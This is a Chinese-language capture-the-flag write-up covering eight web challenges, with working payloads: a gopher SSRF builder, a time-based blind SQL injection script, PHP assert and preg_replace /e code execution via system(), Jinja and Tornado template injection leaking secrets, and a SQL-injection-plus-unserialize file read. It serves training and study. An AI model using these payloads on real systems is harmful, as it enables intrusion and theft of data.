1.难度三

1.very_easy_sql-NO.GFSJ1008

访问页面后有输入框,尝试万能登陆但是登陆失败

查看页面源码,发现注释中存在use.php,访问后是一个curl探测输入框

猜测需要配合SSRF,尝试file协议,发现被过滤,返回页面为nonono
尝试
SSRF Gopher协议使用
构造gopher://协议数据流
先尝试读取index
看了大佬的wp,尝试自己写

#! /usr/bin/python  
# -*- coding: UTF-8 -*-
import urllib.parse

target = "127.0.0.1:80/"
content = "uname=admin&passwd=admin"
content_len = len(content)

req = \
"""POST /index.php HTTP/1.1
HOST: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(content_len,content)

first = urllib.parse.quote(req)
tmp = first.replace("%0A","%0D%0A")
last = urllib.parse.quote(tmp)
res = "gopher://"+target+"_"+last
print(res)

请求结果:

发现出现了base64的set-sookie
解密后为 admin
得知设置cookie为admin, 但是返回页面来看并不存在admin用户
推测后台对admin进行了判断,可能存在注入

cookie所在处可被注入
官方WP

import requests 
import time
import base64

url = "http://61.147.171.105:64317/use.php?url="
flag = ""
#从pos位截取
for pos in range(1, 50):
#爆破每一位结果
for i in range(33, 127):
# poc="') union select 1,2,if(1=1,sleep(5),1) # "
# security 爆库名
# poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "

# flag 爆表名
# poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
#1-50位都截取,进行ascii比对,延时注入爆破flag
poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(i) + ",sleep(2),1) # "
bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
#POC构造同上,加上cookie参数,cookie位注入点
final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"
t1 = time.time()
res = requests.get(url + final_poc)
t2 = time.time()
#延时判断
if (t2 - t1 > 2):
flag += chr(i)
print(flag)
break
print(flag)

爆破出flag

2.mfm-NO.GFSJ0415

登录进场景后发现以page为访问索引
尝试万能取出,返回为空
在访问about时发现使用了git
猜测存在git泄露

成功访问.git

使用GitHack获取git源码

下载后的源码里的flag.php为空,index.php调用templates文件夹里的四个文件
对index.php进行代码审计

<!-- 传参处理 -->
<?php
#GET传入参数page
#没有的话默认查看home
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
##定义$file
$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
#查找..第一次出现的位置
#or 如果第一个是对的,总值为真,不会执行第二个
#第一条语句 即$file里没有..
#由于是通过assert传入字符串进行命令执行,我们可以截断字符串从而执行其他命令
#$file=1','') or system('cat templates/flag.php');//
#assert("strpos('       1','') or system('cat templates/flag.php');//                         ', '..') === false") or die("Detected hacking attempt!");
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
#对$file存在性进行判断,如果存在就往下执行,不存在输出die中内容
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

最终构造page

1','') or system('cat templates/flag.php');//

查看页面源码得到flag

注意:在截断assert时无法将assert闭合再将后面的字符串注释

3.lottery-NO.GFSJ0099

点击下载附件获取网页源码
访问网站,发现注册后每次买彩票花费2刀,中了才会返回钱
花费$9990000 可以买flag

查看源码
随机生成结果

function random_win_nums(){
    $result = '';
    for($i=0; $i<7; $i++){
        $result .= random_num();
    }
    return $result;
}

购买函数

function buy($req){
    require_registered();
    require_min_money(2);
    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
    #遍历我们猜的每一位和结果比对,如果等于则same_count加1
    #对比方法用的是==而不是=== 可能存在漏洞
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
    switch ($same_count) {
        case 2:
            $prize = 5;
            break;
        case 3:
            $prize = 20;
            break;
        case 4:
            $prize = 300;
            break;
        case 5:
            $prize = 1800;
            break;
        case 6:
            $prize = 200000;
            break;
        case 7:
            $prize = 5000000;
            break;
        default:
            $prize = 0;
            break;
    }
    $money += $prize - 2;
    $_SESSION['money'] = $money;
    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

在php中真值和任一数字比较的值均为真,
所以抓包,将numbers改成

"numbers":[true,true,true,true,true,true,true]

比对后,拿到money

多买几次就可以购买flag

4.simple_js-NO.GFSJ0480

访问页面,随便输了个密码登陆后查看源码

<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );

</script>
</head>

</html>

String[“fromCharCode”]接收Unicode值,组合成一个新字符串
解码String[“fromCharCode”](dechiffre[])中的十六进制字符串
得到

55,56,54,79,115,69,114,116,107,49,50

对比ASCII表得到

7,8,6,O,s,E,r,t,k,1,2

猜测dechiffre里的pass也是ACSII编码,解密后恰是FAUX PASSWORD HAHA
且函数不管输入什么一直返回pass-FAUX PASSWORD HAHA

题目给了flag的格式为Cyberpeace{xxxxxxxxx}
所以猜测flag其实是Cyberpeace{786OsErtk12}
成功提交

5.ics-05-NO.GFSJ0332

访问页面查了下源码,发现只有index.php一个php文件
访问后点击云平台设备维护中心

尝试用page去读index.php,直接读不行用伪协议

http://61.147.171.105:61269/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

解码后
其中有preg_replace,可以尝试使用//e匹配执行

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}

访问

http://61.147.171.105:61269/index.php?pat=/haha/e&rep=phpinfo()&sub=haha

抓包,加入

X-Forwarded-For: 127.0.0.1

成功执行

http://61.147.171.105:61269/index.php?pat=/haha/e&rep=system('ls')&sub=haha


查看sechahahaDir下发现存在flag文件夹,flag文件夹里有flag.php
查看flag.php得到flag

6.easytornado-NO.GFSJ0723

flag.txt => flag文件 /fllllllllllllag
hints.txt => md5(cookie_secret+md5(filename))

Tornado 是非阻塞式快速服务器
存在漏洞

1. 文件读取漏洞
2. 模板注入漏洞
3. 跨站攻击,伪造cookie

先测是否存在模板注入
网上查到tornado模板存在一些可访问的快速对象如

{{handler.settings}}

尝试

filename={{1+1}}

跳到error页面
尝试让msg=

{{handler.settings}}

,成功读出cookie_secret

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'c4a4a033-ffb3-4991-bffd-7a96b7e8fc1a'}

通过hints.txt构造/fllllllllllllag的filehash

e617a328fadf4169c1e85c45c42d8c19
访问
http://61.147.171.105:59636/file?filename=/fllllllllllllag&filehash=e617a328fadf4169c1e85c45c42d8c19

成功读取到flag

7.shrine-NO.GFSJ0724

访问/得到源码

import flask 
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

尝试访问/shrine/发现失败,尝试模板注入

http://61.147.171.105:56178/shrine/%7B%7B1+1%7D%7D

被成功执行

FLAG被写在config文件中,但
()被过滤想找类掉用函数几乎不可能

看了大佬的wp:
借助current_app, 这是全局变量代理,查看其config即可

{{url_for.__globals__['current_app'].config}}

找到flag

8.fakebook-NO.GFSJ0726

访问robots.txt
发现Disallow: /user.php.bak
访问下载user.php备份文件

<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

get函数存在ssrf

创建用户后访问用户界面猜测存在sql注入
通过order by 试出来有4列
尝试联合注入,发现有waf
通过/**/绕过

http://61.147.171.105:56031/view.php?no=-1%20union/**/select%201,2,3,4%20--+

发现2是注入点
爆表名=> users

http://61.147.171.105:56031/view.php?no=-1%20union/**/select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27),3,4%20--+

爆列名=>no, username,passwd,data

http://61.147.171.105:56031/view.php?no=-1%20union/**/select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27fakebook%27%20and%20table_name=%27users%27),3,4%20--+

查data,发现用户数据以序列化形式存于数据库中

O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:11;s:4:"blog";s:8:"test.com";}
http://61.147.171.105:56031/view.php?no=-1%20union/**/select%201,(select%20group_concat(data)%20from%20users%20),3,4%20--+

我们从后台查看数据时,首先从数据库中提取出序列化字符串,再将其反序列化,
对反序列化后的对象提取出博客的链接,在利用curl去访问该链接

所以我们借助联合注入,在第四位data构造恶意ssrf读取flag.php

<?php  
class UserInfo{
    public $name = 'xrect1fy';
    public $age = 114514;
    public $blog = "file:///var/www/html/flag.php";
}  
$xrect1fy = new UserInfo();
echo serialize($xrect1fy);
?>

联合注入data位传入payload

http://61.147.171.105:56031/view.php?no=-1%20union/**/select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:8:%22xrect1fy%22;s:3:%22age%22;i:114514;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%20%27%20--+

iframe的src

访问源码即是flag